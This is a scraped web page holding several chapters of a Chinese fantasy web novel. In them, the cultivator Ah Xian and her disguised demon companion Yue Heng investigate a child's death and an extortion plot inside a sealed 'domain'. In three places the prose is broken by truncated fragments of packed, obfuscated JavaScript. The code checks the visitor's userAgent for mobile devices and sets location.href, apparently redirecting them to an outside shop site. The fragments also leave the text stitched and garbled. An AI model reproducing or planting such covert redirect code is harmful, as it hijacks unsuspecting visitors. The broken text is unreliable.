对待“仇人”的法子有很多种,而血债要血偿。 越衡专注地凝视着昏迷过去的阿纤,半晌后才缓缓伸出手,指腹擦着她微凉的脸颊伸入她的颈窝,长指沿着脖颈顺滑地包裹住纤细脆弱的脖颈。 只要稍加用力…… 但手指不由自主地被撑开,手掌间隐隐有冰冷的灵力在流窜,让人感受到冰天雪地的寒冷。 越衡顿了下,又俯下身,额头贴住阿纤的额头。 半晌后越衡缓缓抬起头,对着阿纤那张沉睡的脸沉思片刻,两指抵住阿纤的额头注入一缕灵力。 睫翅颤颤,阿纤睁开眼睛,人影逆着光,让她看不真切,恍惚间把他当做了另一个人,心错跳了一拍人也彻底清醒了,待她看清楚了人,便迷茫道:“……越衡?” 奇怪,她的头怎么格外沉重,好似戴上了一顶坠满宝石银饰的华冠,四肢充满紧束感,就像是披上了一套六重繁琐的华服。 她刚刚是在吃饭吧? 从饭桌下来到回房躺床上的这一段记忆她全然没有,就像被一把快刀干净利索地切断了…… 阿纤带着疑惑的目光找越衡寻求答案。 越衡开门见山道:“你为什么丢了一半胎光?” 人有三魂七魄,胎光是三魂之中最重要的一魂,主管寿数与健康。 若是普通人没有一半的胎光早就不能动弹,只剩下呼吸本能,阿纤是修士,所以还能靠着灵力维系行动,但在“域”里无法源源不断填补新的灵力,所以阿纤才会突然失去意识。 阿纤思来想去,把魔物从封魔阵里带走的那盏琉璃灯,以及灯从她身体抽走几缕光的事告诉了越衡。 “……原来那个灯能够抽走人的胎光啊。”阿纤感慨一声:“好厉害的法器,不知道谁做的。” “我们现在就出域,去找灯。”越衡盯着她,神情远不如她那般平静,仿佛丢掉的胎光是他的。 “我觉得还没那么糟糕,我刚刚睡了多久?”阿纤突兀地转开话题。 越衡道:“两刻钟。” 阿纤拉好被子,倒回床上还安慰他:“我再休息休息就好了,我只是太久没睡觉了。”刚闭上的眼又睁开,不放心道:“在我没睡醒前,要和他们好好相处哦,不要让人发现……” 话没说完,阿纤又闭上眼睛昏睡过去。 越衡伸出手指正要如法炮制再点上阿纤额头,可注视她恬静的睡容片刻,他顿住了,最后挥手设下一道结界转身端起水,冷着脸推门而出。 客栈的廊子半镂空,四面环绕着大堂,推门的声响惊动了楼下的客人,谈话声戛然而止,几张脸同时抬起。 有熟悉的,也有眼生的。 不止齐呼星二人,还多了几名四非宗弟子。 越衡回到楼下,坐到桌边。 “阿纤姑娘还好吗?”辛可易问越衡。 “睡着了。” 辛可易发现了。 说其他的事这位越公子都是兴趣缺缺,不爱搭理人,但说起阿纤他就平易近人许多。 他找到套话的切入口,奇怪道:“听阿纤姑娘说,你们二人是道侣?” 越衡反问:“不像吗?” 齐呼星啃着羊肋排都忍不住抽空挤出两个字:“不像。”随后手一哆嗦,嘶得声大抽了口凉气,好像刚刚不是有什么东西在下面猛踩了他一脚就是手上那块焦香的羊肋排狠咬了他一大口。 隔壁桌的苏进良也扭过身,终于逮着机会问:“你们二人是何时结为道侣的?” “七年前。”越衡道。 四非宗弟子如拔葱般纷纷站起,王有容虽还坐着,但脸上的神情大变。 齐呼星吓得羊肋排都掉桌子下。 这是要打架的阵仗啊?! 苏进良眯起眼:“我师妹进入封魔阵至今有十一年,你别告诉我,你是在封魔阵与我师妹结为道侣的?” “正是,误入。”越衡平静道。 他不打算隐瞒自己也在封魔阵里待过的事实。 苏进良下意识就怀疑起他的身份,可眼前的男子又不可能是魔物,若是魔物的话,在场这么多修士不会没有半点反应。 齐呼星被周围的氛围冻住片刻,封魔阵是什么东西他不知道,他只知道再不来个人说话,好像就马上要打起来了! 阿纤姑娘的道侣手无缚鸡之力,要是被他们联手揍,他和辛可易是帮还是不帮? 他眼珠子快速转了转,脱口而出:“那是挺久的!” 这一句话打破了凝固的氛围,被齐呼星一个人暖起了场子,“啊,我们不是说你们看起来关系不像那么回事,就是啊这人、与人不同,做道侣也没必要像其他人一样,我们那还有夫妻两人貌合神离、找情人各玩各的……” 齐呼星没心没肺又口无遮拦,旁边的人听了都觉得不自在,默默代入身边熟悉的人,越听越别扭,如坐针毡。 这也不是什么光彩的事,谁会正大光明讨论啊? 偏那位越公子沉思片刻,竟然问:“既然如此,他们为何要结为夫妻?” 齐呼星重新拿了块羊肋排,“那还不简单,因为有好处啊,资源、地位哪一个不诱人?你连这些都不知道,从前是在哪里生活的?” 苏进良听得不是个滋味,忍不住横眼去瞪齐呼星,但是齐呼星忙着吃倒没有留意到有人在使眼色。 越衡又问:“有好处,那何必还要找情人?” 你还真只问别人,从不回答啊。 齐呼星撇了撇嘴,还是回道:“可能心里有别的人吧。” 越衡觉得无趣,又回到楼上去了。 / 阿纤不知睡了多久才醒,撩开床帐就见越衡坐在圆桌边。 摇曳的烛光印在他右脸上,从眉上到眼下有一道贯穿的浅痕,色泽像新肉的浅粉,与他玉白的肌肤有些差异,被光照亮时就比较显眼,但不难看,反而像个特殊的装点。 魔物与修士在某种意义是相似的,因为可以使用五行之气所以比普通人拥有更长的寿命以及更强悍的修复能力。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401566|200416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 能在魔头脸上留下痕迹的应该是一件非常厉害的法宝。 “醒了?”越衡转过脸来,光线离开他的右眼,沿着他发丝描了一圈金光,莫名有些耀眼,阿纤眯了眯眼。 “他们没有为难你吧?” “没。” 阿纤继续说道:“我听见下面声音很多,就是睁不开眼。” “你可以多休息会。” 阿纤道:“在域里可休息不好,我想下去问问情况。” 她低头穿鞋,脑袋上的头发一股脑往下坠,阿纤拢起头发,“你拆了我的头发?”又低头看身上,外衣也被脱了。 “嗯。”越衡问:“你睡觉不松头发吗?” “松的。”阿纤不计较这些细枝末节,穿上外衣后准备梳头但手臂发麻抬不高,正捏着头发对着镜子苦恼,越衡取走她的梳子站在她身后。 阿纤透过镜子看着男子,“你还会梳头发?” “看都看会了。” 阿纤总在河边梳头,她也只会那一种发型,越衡看了十一年,从每一束发丝如何穿插到用簪子发带固定,每一步都熟记于心。 果不其然,虽然是第一次动手,越衡很快就给阿纤梳好头发,和她平日一模一样。 阿纤对着镜子露出一个笑。 越衡问:“笑什么?” 阿纤笑容一顿,语气怅然道:“没什么。” 这个没什么,分明是有什么,但阿纤不说,越衡也不会追问下去,只是用那双幽沉的眸沉沉望了她一眼。 / 四非宗的人这几日都在为破域而奔走,至今还没能成功,难免有些丧气,先前吃饭的时候就被齐呼星连激带骗问出不少线索,这会一股脑全告诉了阿纤。 “我们还是选择和你一起行动,是因为他们更讨厌,但是我必须表明立场,我是绝对不同意滥杀无辜的!”齐呼星严肃说道。 辛可易也点头。 之前关于五大长老的死,阿纤姑娘先是一声疑惑:“他是这么说的?”,随后又是从容承认:“是我杀的。” 不像是认罪,反而像是无奈妥协,透着古怪。 所以这二人商量了一下,决定再观察观察阿纤的表现,倘若她真是恶人,那之后不跟她来往就是了! 对此阿纤也没有异议,接着问:“他们去哪了?” 齐呼星:“去抓陈府女管事的儿子,说是他绑架了陈小墨。” “他们也不是第一次去陈府,先前肯定是被其他线索给蒙蔽,这才错杀了几个。”辛可易冷冷道:“涉及自己利益的时候,人最会说谎了。” 阿纤意外地看了眼辛可易。 “这次如果是对的就好了。”辛可易被阿纤的眼神瞧着语速不由加快,略显生硬地转移话题道:“月亮又变小了,真奇怪,我们也没有怎么用五行之气。” 齐呼星点头如啄米。 四非宗抓普通人用不上他们帮忙,齐呼星两人虽然心里担忧,但也不妨碍留在客栈里大吃一顿,弥补前三日没有好好吃饭的遗憾。 阿纤道:“那我们也去陈宅看看。” 已经吃饱的两人没有异议,阿纤顺手拿了两张饼,递了一块给越衡。 越衡虽然不饿但还是接到手上。 “听说你们打算离开鸡鸣县,小鱼闹着要和蓁蓁一起玩,咦,你们还有客人?” 阿纤一行人刚走到大门,见到一位满头白发但精神矍铄的婆婆牵着一个乖巧的小姑娘在跟赵三说话。 听见脚步声,婆婆的视线便抬了起来,好奇打量着从里面走出的几位客人,待看到阿纤身后时突然撑起眼皮褶子,吃惊道:“你……是阿衡?” 8. 鸡鸣(六) 越衡身世特殊,阿纤没让齐呼星两人跟着,请他们先到城里探探路线。 天色没有变化,鸡鸣县的百姓作息也乱了套,以至于阿纤才睡一个时辰,外面就已经重新活跃,连鸡都开始打鸣。 甘婆婆领两人往家走,“我家原本是大户,你们住得引书客栈那地就是我家老宅子,阿衡应该记得。” 见越衡沉默,阿纤替他回:“他可能忘了。” 甘婆婆惊讶,又重新看了他一眼,笑道:“阿衡的记性还没我这个九十的老太婆好啊。” 这下轮到阿纤惊讶了:“您老看起来可不像九十的人啊。”虽然甘婆婆弯腰驼背,脸上褶子也深,但是面色红润,行动自如都不用人扶,家里人甚至都放心让她一个老人来送小孙女找小伙伴,可见平日里身子骨就很硬朗。 “祖上有福报。”老人笑眯眯道。 越衡一直默默听两人的对话,保持着一个不记事者该有的安静。 甘婆婆继续道:“我十二岁那年随着我祖母拜访故交回来,正下着大雨,那时阿衡冒雨在街上走也不知道躲,我祖母请他到屋檐下避雨,还给他做了一碗热面,她一直说阿衡看着面善。” 十二岁的时候,甘琴还管阿衡叫哥哥,但是七十多年过去,她已垂垂老矣,故人却还是从前的模样,她也无法再开口叫人哥哥,否则外人看来只会觉得无比古怪。 她追忆往昔,“那时候我祖父被人骗了作保,每日都有人来讨债,是阿衡留下来打退恶人,保护了我们孤老寡女,我是不会记错恩人的模样。” “真没有想到有生之年还能再见到阿衡。” 甘婆婆又笑眯眯问道:“这位姑娘就是你要找的人吗?” 越衡并无反应,阿纤好奇问:“找什么人?” 甘婆婆正推着自家的院门,闻言回头:“阿衡,你连这件事都忘记了?” 越衡垂睫:“忘了。” 几人在堂屋里坐下,甘婆婆煮了茶分给两人,继续道:“我遇到阿衡时,他说自己在找人,已经找了好多年,从南到北,从西到东……具体找什么样的人他也没说,只知道是一位姑娘。” 阿纤发出意味深长的感叹,余光瞟了眼正紧蹙眉尖的越衡。 没想到越衡失忆前还有一位红颜知己,为之奔波劳累也不悔,会是他的心上人吗? 可惜阿纤并不能向甘婆婆询问一些敏感的问题,比如那时候的越衡还是人吗? 不过刚入魔的魔物与人相似,是很难分辨的,普通人未必能够察觉出他们的不同。 于是阿纤选择问一些普通的事,也是她想知道的线索。 但甘婆婆却摇头道:“阿衡没有提起过自己的家人,我也只知道他是从西边来的,不过我想他应该从前生活十分优渥吧,很多常识性的东西都不知道,很简单的活也做不好,祖母其实有点苦恼,阿衡帮忙总是越帮越忙,但祖母又不忍心说他,等他忙完了还要花一倍的时间重新整理。” 老人笑了起来,越衡的脸色彻底凝固了。 阿纤抿紧唇,尽量不让自己笑出声,轻咳两声道:“现在阿衡已经厉害很多,都会砍柴做饭了,是不是啊?” 对于阿纤的逗乐越衡理都不理。 甘婆婆笑弯了眉眼,她对越衡意味深长道:“阿衡,我虽然不知道你从前是谁,又有着怎样的经历,但是我能看出来,你现在的状态很好,与其浑浑噩噩去追寻一个模糊的影子,何不好好把握当下?” 甘婆婆欣慰的目光好似赞同越衡抛弃缥缈无踪的旧爱,选择与新人携手共进。 阿纤哭笑不得,正要开口解释,旁边越衡却轻轻“嗯”了一声。 甘婆婆很高兴,扬声叫孙媳妇做早饭,想要招待旧友,阿纤忙不迭把她劝住,赶紧询问起另一件事。 “之前听婆婆说,引书客栈原本是您家的老宅?您也认识陈宝书吗?” “怎么不认识,那是鸡鸣县出了名的好人啊。”甘婆婆对陈宝书印象很好,说道:“我家那个老宅子别人都嫌弃破旧又偏僻,压价压得很低,只有陈掌柜知道我家的事后决定按市面价买下那宅子,解了我们家的燃眉之急。” “那宅子只是破旧了些,其实是个很好的地方。”甘婆婆怀念道:“我总感觉有守护神、土地公之类的在护着那个宅子,什么盗贼、走水都没有遇到过。” 阿纤笑道:“的确是个好地方,陈宝书挖出神兵一事婆婆也知道吗?” 甘婆婆道:“当然,陈掌柜还当是我们祖上之物,可我们祖上都是普通人,哪能拥有这样的法宝。” 所以甘婆婆谢绝了陈宝书从四非宗得到的那笔不菲的赏金,她认为这是他个人的因果福报。 好人得有好报,善意需得善果。 虽然没能从甘婆婆这得到更多有关越衡的身世,但好歹了解到越衡的确在鸡鸣县生活过,他那件不离身的项圈也是甘婆婆祖母送给越衡的,他虽然没有印象,但却保存很好,可见他不是那种全无理智,不通人情的魔物。 至于陈宝书,有人说他为福报才做善事,但不能否认他做的事都是善意之举。 君子论迹不论心。 离开甘婆婆家,阿纤自言自语道:“他们都说陈宝书是个好人,既然是好人,怎么会沦落到这一步?” 思索了一会又喃喃道:“他或许并非自愿成为魔物。” 越衡深深望了阿纤一眼,但正陷入自己思绪的人并没发现。 两人回到客栈,齐呼星与辛可易也在,阿纤就叫上他们一起去陈宅。 引书客栈到陈宅的这一路上都很热闹。 “昨天夜里是不是魔物来了,踩坏我家三片瓦呐!” “哎呀呀,真可怕啊,不是有四非宗弟子吗?怎么事还没解决?” “若是能请来端木仙师就好了,端木仙师温柔又善良,人还长得俊!之前我侄女春儿在路上遇到魔物就是被端木仙师救的,被他一路护送回家,从此啊,她就对端木仙师念念不忘……” “真的啊,我也想看看那位端木仙师。” 阿纤继续啃越衡没吃的那张饼,缓步从她们身侧经过。 大师兄的名声到哪都这么好。 “你与他相熟?” 越衡的声音打断了阿纤的回忆。 两人同姓端木却并非兄妹。 “大师兄吗?是啊,他就是救过我并且带我进师门的师兄啊,我跟你说过。”阿纤把吃完的饼袋子折了折递给越衡。 越衡握着纸袋子,一边回想,“是吗?你说过很多次?” 阿纤点头:“嗯!” 越衡从前并没有认真听阿纤讲她师门的事。 因为很可笑。 那些人有什么能耐当阿纤的师父,当她的师兄,还使唤她去灭那些低级的魔物。 每当听见阿纤为无足轻重的人做一些蠢事,他的心情就会更加糟糕。 甘琴说他变好了,其实没有。 他无时无刻都在向内塌陷,毁掉自己的同时,也想把身边的人一起拖下深渊。 “就是这儿了!” 齐呼星摸清了路线,领着阿纤越衡顺利走到陈宅门口,敲开了门。 阿纤早就准备好借口。 “老爷托梦……真的吗?”门房嘴唇颤抖,抬起胳膊遮住眼睛,泣不成声,“老爷,你死得好冤啊!” 老头儿哭得阿纤都愧疚了,柔声问:“你知道你们老爷死得冤?” “是啊,老爷在梦里没和你说吗?”门房老头擦干眼泪,正准备说下去,身后就传来一道娇媚的嗓音,“我们家又有客人了?老丁,莫不是又来借钱?” 浓妆的女子定睛一看,眼睑狠狠跳动了两下,嫌恶道:“又是修士,早先不是来了几个修士?还没问够?” “莲夫人,不是的,这几位是老爷托梦……” 莲夫人重重“哼”了声,染着丹蔻的手挥开并不存在的尘埃道:“少来,现在的骗子借口就是多,别挡着路,我要出门了。” 几人目送莲夫人坐上马车离开,吃了一嘴的灰。 齐呼星问:“那位莲夫人就是陈掌柜的妻子?” 老丁谈性大发,语气里都是不满:“是啊,不过莲夫人原本是跟着刘公子,也就是书生刘永遐来到鸡鸣县的,后来却嫁给了我们老爷,还生下小少爷。我一直觉得夫人并不喜欢我们老爷,这不,老爷死了没多久,她就开始浓妆艳抹日日出门去,她以前在老爷面前可素净了……” 阿纤若有所思。 莲夫人虽然上着浓妆但眼里的血丝以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“等等,姑灌山?”齐呼星打断余婶的话,惊叹道:“陈宝书躲难的地方是姑灌山,救他的人岂不是那位传说的神女引?!” 余婶道:“是啊,仙师知道她?” “那你刚刚说的那神器,是神女引之物?”齐呼星马上两眼放光,激动得犹如见了小绵羊的豺狼。 “应,应该就是了。”余婶不动神色往旁边挪了挪位置,说道:“当初老爷说起这位神女引,很多人都不相信世上真的会有这样的神仙人物,但她的的确确救了我们老爷的性命,她可真是个好人啊。” 齐呼星精神抖擞,捧着心窝崇拜道:“神女引就是那个拥有最强法盾——重水结界的人,重水结界能抵御一切攻击,是绝佳的防御!莫非陈宝书手上的就是这样一个法器?” 对于齐呼星得出的结论,阿纤哭笑不得:“若是真的,那也是神女引保命的东西,再大方也不会拿给陈宝书这样的普通人吧?” “那也未必嘛!”齐呼星道。 “老爷那件神器的确没有保命的作用,”余婶肯定了阿纤的说法,又信誓旦旦给众人透露:“而是能让人发横财!” 阿纤心想:这世上的确有很厉害的法器,但是没有一件是可以改变人命运的,发财的更没有。 再者当年从姑灌山下来的人不说上千也有几百,频频有人说自己拥有神女引之物,惹得长老们六根不净,可派出去的弟子几乎都是空手而归。 “我儿子想借用那件神器,但老爷如何也不肯,所以他才绑架小少爷,谁知道老爷一直没答应,还报了官,衷儿害怕就把小少爷放了,谁知小少爷慌不择路,反而溺死了!”余婶嚎啕大哭,“我对不起老爷和小少爷,可是我只有一个儿子啊……如果可以,我愿意用我的命赔给老爷!求仙师们放过我儿子吧!” 说罢,余婶对着他们“咚咚”磕头,力气之大,让周围几个人同时感觉脑壳发疼。 阿纤去拉她没能拽起来,辛可易力气大,一下把人提溜了起来。 “一人做事一人当,你儿子做了错事就该他自己承担,哪有让母亲代过的道理!” 阿纤道:“不错,而且若按你的说法,陈掌柜应该很快就能够知道绑架陈小墨的人是你儿子,不至于找不到人。” 齐呼星道:“对哦,同样是要神器,马上就能猜到是谁了吧?” 余婶抬起头,呆愣了会,才道:“说起来,我老爷生前有一日突然收拾了很多金贝出门,到深夜才失魂落魄地回来,嘴里念叨小墨怎么没有回来……” “这是怎么回事?难道还有别的人敲诈了陈宝书?” “娘!——” 门外院子里突然有一声尖叫。 “娘!救命啊!——” 9.鸡鸣(七) 余婶第一个跑出去,其余人紧随其后。 院子里阴风四起,天上的月影淡淡。 “衷,衷儿……我的儿啊!”余婶站在院子里环视一圈没有看见熟悉的身影。 刚刚那两嗓子吓得她魂飞魄散,余婶歇斯底里喊:“儿啊,你在哪啊!——” “好大胆的魔物竟然在爷爷眼皮底下害人!”齐呼星将后背的长枪踢出,握在手中朝西北角的灌木猛刺。 金属剧烈摩擦的刺耳声瞬时引爆。 咻——一团黑气如火药疾射向天空。 辛可易跃到半空,刀锋直斩,那黑气反应迅速,又如一枚弹珠自刀口下往左灵活弹开。 轰隆一声,假山在刀下应声裂成两半。 一道佝偻的身影趁机从藏身的地方溜出来,跑到余婶的身后鬼哭狼嚎道:“娘,这东西一直想杀我!” “你怎么遇到魔物了?有几位仙师也去找你了你没遇上?上天垂怜!”余氏的惧怕都在看见儿子时消失了,她只顾着心疼道:“你都瘦了。” 阿纤心想:这个林衷居然能够躲过师兄师姐的追捕逃回家来也算是厉害。 “怎么回事,这魔物砍不死?” 另一边齐呼星与辛可易围追堵截,刀阵枪舞围得密不透风,哪怕一只苍蝇飞进去都会被绞成臊子,这只意外出现的魔物却每每都能及时逃脱,萦绕在它身周的黑气眼见着还变大了一圈,就好像好斗的公鸡把全身的羽毛都炸起,给自己壮势。 辛可易还沉得住气,齐呼星大喊:“太奇怪了!” 阿纤也觉得这魔物奇怪,看了半晌才想起越衡,回头一看,才发现人压根没有走出廊子,就坐在廊凳上袖手旁观。 对上她的视线,还微微抬了下眼皮,示意他绝没有干涉。 阿纤正想说她也没怀疑是他在搞破坏,耳边就传来异响。 “小心!”辛可易飞掷出一刀,然而那魔物化作的箭簇比飞刀更快,角度刁钻,正在阿纤右后方视线的死角上,不过即便不在死角,这样的速度也很被眼睛捕捉从而做出反应。 可就在千钧一发之时,阿纤莫名往前趔趄了一下,竟幸运地躲过那支黑箭,她后知后觉感知到正被魔物攻击,不加一丝犹豫就朝齐呼星跑。 齐呼星立刻张开护体之气把阿纤笼罩其中,顺势挺枪往前一刺,被扎在地上的魔物还想往后逃,辛可易早有准备,一个跨步,手握长刀封住后路。 这时院墙上石子掉落,辛可易以为背后有偷袭,这一分神,那魔物从他刀口滑出,逃往回廊,张牙舞爪地朝着修为最低且没有在保护圈内的男子扑去。 越衡在阴影中,抬起眼,深黑色瞳仁中心出现了一点亮光。 阿纤从齐呼星身后跃出,手里的诀刚掐出,旁边一团枯枝比她速度更快,枝团张开犬牙交错的大嘴把那团黑烟咬住,同时另一侧雷霆一闪,魔物尖声锐叫。 魔物的黑烟扭成一团,从枝条的缝隙里化作一缕乌烟消失。 “鸡鸣县居然有第二只魔物,这可是线索,你居然杀了它!” “我没有,我已经控制在最小了,那点雷最多能把魔物劈晕……要怪就怪众妙门的法器不灵便!”说罢,那弟子手里的雷杵丢到地上泄愤。 齐呼星怒道:“你不会用就不要怪法器好不好!” 阿纤赶到越衡身边,低头问:“没事吧?” 虽然让一个低等魔物伤到一个魔头的事听着很离谱,但这也是她造成的。 越衡道:“我没事。” 苏进良见阿纤的道侣连自保能力都没有,冷笑一声,扭头对着林衷道:“你可真能跑啊。” 余婶张开双臂护着身后人,喊道:“仙师仙师他不是故意的……” 林衷害怕地连连点头:“对,我不是故意害小墨的!” “你骗了我们一次还想骗第二次?你娘都交代了,就是你绑架的陈小墨!”苏进良看了眼天上的月亮,留给他们的时间不多了,即便杀错也不能再放过。 见他眼神不对,余婶急道:“我儿虽绑架了小墨,但他不会杀小墨,还有一人,有人向老爷敲诈了金贝!一定是他干的! ” 林衷有些懵。 余婶赶紧把自己先前忽略的事说上一遍,又推着林衷的胳膊道:“儿啊,你没有向老爷要金贝吧?” 林衷连连点头:“没错,我写信要的是法器,并没有要金贝,直接要钱就是在敲诈,对吧?但是要神器不一样了,我只是想借用一下,之后还是会还给老爷的,要不是老爷推三阻四,事情也不会变成这样!” 听着他说来说去,最后竟然还怪上没有借他神器的原主,齐呼星的鄙夷之色溢于言表。 “什么神器?”王有容问。 余婶只顾着为儿子洗清冤屈,一个大声直接盖了过去:“对啊,老爷都没有收到衷儿的信,说明还有人在暗中观察,伺机下手……” 苏进良从墙上跃下,指着林衷,“别的不说,你误导我们,让我们认为杀害陈小墨的人是刘永遐。” 林衷躲在余婶身后唯唯诺诺,“仙师们问谁和老爷有仇,刘永遐和老爷是有仇啊……” “原来是你,你害了刘永遐?”莲夫人本来躲在暗处偷听,这会忍不住站出来质问林衷。 林衷底气不足,低声道:“夫人怪不得我,你应该最清楚不过,你与刘永遐本来就是奔着老爷的钱来的。” “你胡说!”莲夫人气得嘴唇一直颤动。 林衷抻长了脖子,喊道:“我都听见了,那天雨后竹林里,他要你拿钱,你不肯,他打了你一巴掌!” 莲夫人的神色瞬间变得僵硬,仿佛突然被人打一巴掌,把那抹精气神从她天灵盖打了出去,脂粉秾丽的颜色都无法遮掩从骨头里透出的惨白。 左右的目光齐齐向她扫来,其中猜疑、好奇、唾弃,压得莲夫人抬不起头,她连连退了好几步,摇头再摇头。 “我没有,我没有害墨儿,也没有害老爷!” 如此喃喃数遍后,她又猛地抬起头,指尖颤指,“是你,是你绑架了墨儿勒索老爷!” “我承认!”林衷破罐子破摔,大声道:“我绑架墨儿勒索了老爷,但我的信并没有被老爷看见,夫人你知道的吧?我的信原本放在老爷的书桌上,可老爷却交不出信来,除了夫人你或者刘永遐藏起来了还有别的原因吗?” 莲夫人目光开始虚浮,不敢面对周围的审视目光。 林衷认为自己已经很仗义了,理直气壮道:“我也知道,这些事都是他让夫人做的,所以我才没有告诉仙师关于你的事……” 可这却把苏进良气得不轻,“你以为我们是在玩‘猜猜我说谎没’的游戏吗?你知道我们……” 王有容阻止他把话说下去。 普通人若是知道大难临头,能够冷静安分的是少数,所以四非宗弟子一直都没有告诉鸡鸣县的居民“域”的真相。 他们有一部分人只知道玄门要抓魔物,所以限制了他们的进出,仅此而已,另一部分干脆一无所知。 王有容道:“莲夫人,这件事很重要,还请你不要隐瞒。” 莲夫人沮丧道:“我没有杀小墨……刘永遐也没有,他是找我要了钱,那都是因为胡宇把他带到了赌场!他把钱都输光了就来找我……我不好拿着那些钱出门就要他自己来院子里挖,他偏说我没有埋,拉着要我交出来,我能给他的都给了,哪还有其他多的?” 说罢,莲夫人捂着脸呜呜哭泣。 几人从胡宇哪里听过一嘴,就是他挖走了莲夫人埋在花园里的金贝。 刘永遐自己喝高了显摆,反被别人捷足先登。 阿纤问:“所以他写了一封敲诈信?” 莲夫人道:“是我把他带进老爷的书房,他当时看见桌面的信冷笑了一下就把信揣进自己袖子里,很快又写下一封……老爷没跟我说,但我猜到了……” “我不知先前那封信是林衷写的,更不知道是他绑的我儿子……”莲夫人垂着泪,泪水洗掉了她脸颊上厚厚的脂粉露出憔悴的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“禁术之所以是禁术本就不该随意使用。”王有容脸色不好,“我娘使用禁术已经去了思过崖!” “那现在怎么办?总不能看着大家都去死吧!”齐呼星才不管那么多,心直口快道:“阿纤姑娘的法子最为简单,王师姐,你若是怕担责任受惩罚,到时候我们一起给你求情就是了,我爹跟你们宗主肯定能说得上话,再不济我威胁我哥不给你们四非宗提供法器……” “你……”几名四非宗弟子当即脸色不好。 齐呼星抱着胸冷哼:“反正有人也嫌弃我们众妙门法器不好使!” 王有容本是坚持不肯用,但是连苏进良都来劝了,比起一城的百姓性命,禁术的代价不算高。 王家的招魂法不用特殊的法器,只见她先掐了一个木诀,然后道:“东方句芒,春神木帝。木曰曲直,肝藏复苏。魂气东蓄,触地而生。昔为盟契,如律令行!” 说罢,灵活变换手指掐出术印,“木之令·生死树。” 地上土崩石裂,飞快钻出一棵大树,树有垂条万缕,枝红叶赤犹如浸透鲜血,王有容划开手掌心往远处撒了一圈血滴,又问莲夫人小墨的生辰八字,莲夫人如实说了,余婶在旁边点头。 王有容嘴里念念有词,随着最后“壬子”落定,生死树的枝条飞起几根,如长矛扎到血珠浸透的地方,柔软的枝条变硬变粗,自枝头断开,叶子也纷纷落下,只剩下一根根光秃秃的木杆子,幽幽字符沿着树杆往下攀爬,逐渐汇聚到中央,犹如圆盘承出一汪莹亮静水,无风自涟漪,一圈圈的水纹荡开,水中央浮现出一道若影若现的身影。 约摸八九岁大小,垂着脑袋好像很沮丧的样子。 正是陈宝书死去的儿子,陈小墨。 苏进良抓紧时间问:“陈小墨!是谁杀的你!” “杀的我?……” 陈小墨的虚影迟缓地抬起头,苏进良用力地盯着他,目光却透过他半透明的身体,看见对面阿纤若有所思的脸。 须臾后,陈小墨小声道:“没有人杀我。” 众人皆惊,四周阴风狂卷,灯笼里的火齐齐熄灭,头顶昏黑,犹如漆黑的天幕坠落,月亮只剩下了弯钩——